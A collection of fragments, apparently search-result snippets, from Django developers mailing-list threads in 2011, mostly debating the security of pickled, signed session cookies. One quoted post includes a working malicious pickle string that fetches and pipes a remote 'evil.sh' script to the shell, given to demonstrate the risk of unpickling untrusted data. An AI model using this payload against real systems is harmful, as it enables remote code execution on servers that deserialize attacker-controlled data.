My sense is that you're conflating 2 kinds of protection here because
you haven't made a decision. Do you want to propose rate limiting, or
a captcha? Answers to your points depend on that.
Prior to more specific work on this matter (and before anything can be
included in core), we need to address
As someone maintaining some very old django sites with hacks to the core,
deprecation warnings are very useful to me. I know I'm not alone. There is no
reason to not flag deprecated methods/functions/routines/etc prior to removal.
If you're being nagged by deprecation warnings than... well...
Hi Paul,
the initial patch indeed used JSON to dump the data, but while probably
beeing more secure it had some drawbacks which do need consideration: The
JSON backend didn't allow serialization of arbitrary data, as such it was
different to all the other backends which do allow it -- which me
We do actually already have compression in the code for JSON[1].
Unfortunately, we probably can't enable it by default since it has a
dependency on zlib. Looking at the code, it appears that we don't
compress the pickled cookie, which means that compressed JSON might
actually be more space efficien
2011/10/2 Alexander Schepanovski :> Then when I
upgrade django I'll just upgrade it and fix> any wrong calls, imports,
monkey patches etc. Proper upgrading docs,> which you write anyway,
will make it into a couple of days. The way it> is done now still
requires that two days but also make me think
Remove the pickle from the cookie jar!
Only cookies are meant to be there :P
On Sun, Oct 2, 2011 at 3:26 PM, Paul McMillan wrote:
> We recently committed changes to 1.4 that added signed cookie based
> session storage. Session data is pickled, signed, and sent to the
> client as a cookie. On rec
> JSON backend didn't allow serialization of arbitrary data, as such it was
> different to all the other backends which do allow it -- which means this
> backend isn't a dropin replacement.
Yeah, I agree. The cookie-based backend is already a bit "special", since it
is functionally limited to aro
Hello,
This week, I've finished the work on serialization by making the deserializers
capable of handling UTC offsets. I had to rewrite DateTimeField.to_python to
extract and interpret timezone offsets. Still, deserialization of aware
datetimes doesn't work with PyYAML: http://pyyaml.org/ticket
On 02.10.2011, at 06:26, Paul McMillan wrote:
> We recently committed changes to 1.4 that added signed cookie based
> session storage. Session data is pickled, signed, and sent to the
> client as a cookie. On receipt of the cookie, we check the signature,
> unpickle, and use the data. We could us
Hi,
On Sunday, October 2, 2011 2:31:19 PM UTC+2, Paul McMillan wrote:
>
> > P.S.: Btw, if you leak your secret key, you can get an admin user with a
> > json backend too, while not being remote code execution it's still
> something
> > I would consider as catastrophic as code execution in most of
Hello,
I'm afraid I'll have to reply to my own message because nobody else did. ;)
Please read on. Also, please note that the original report is now over five
weeks old, with no real solution yet in sight.
On Thu, 29 Sep 2011 21:52:23 +0200
Sebastian Goll wrote:
> I'd like to draw your atten
I recently opened #16847, which proposes to set the HttpOnly property
to True on session cookies by default in 1.4. I'm pretty sure this is
the right approach, but I'd like a bit more feedback from the dev list
here before I go ahead and do it. Are people running applications that
would be broken b
> You may be right about users screwing things up once in a while but
> that's entirely unrelated to the fact that the sessions app expects
> every backend to handle any (read: pickle-able) data you hand it. At
> least that's the status quo on how every session backend I've seen
> works.
Yeah. Dro
"""
As I said in the first message, to the best of my knowledge, there's
nothing insecure about the implementation now. The usage of signing to
validate pickles received directly by end users expands our reliance
on SECRET_KEY pretty heavily. This concerns me, which is why I brought
it up here.
"""
Forgetaboutit, the exact same problem is there for every session backend. This
btw means that having write access to django_session table means exploit of all
Django instances using that DB, right?
"""
Isn't there also the possibility that the attacker can somehow get arbitrary
data signed into
As I said before, the existing implementation is secure, if the
SECRET_KEY is kept secret. The sky is not falling, don't panic.
> Isn't there also the possibility that the attacker can somehow get arbitrary
> data signed into the session cookie without knowing SECRET_KEY?
That's not a viable att
Ok, sorry for the uninformed rambling... Will check the code before posting
next time :)
- Anssi
--
You received this message because you are subscribed to the Google Groups
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from
Hi,
I've added a patch that provides functionality for selecting a custom
manager in a reverse relation , rather than the default manager. For
example:
author = Author.objects.get(id=1)
# Selects the manager 'foobar' of Post.
mgr = author.post_set.managers("foobar")
ht
On Oct 2, 2:31 pm, Paul McMillan wrote:
> data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'"
> import pickle; pickle.loads(data)
>
Some workarounds for Pickle's execution of arbitrary code are proposed
here http://nadiana.com/python-pickle-insecure
Also note one of th
19 matches
Mail list logo
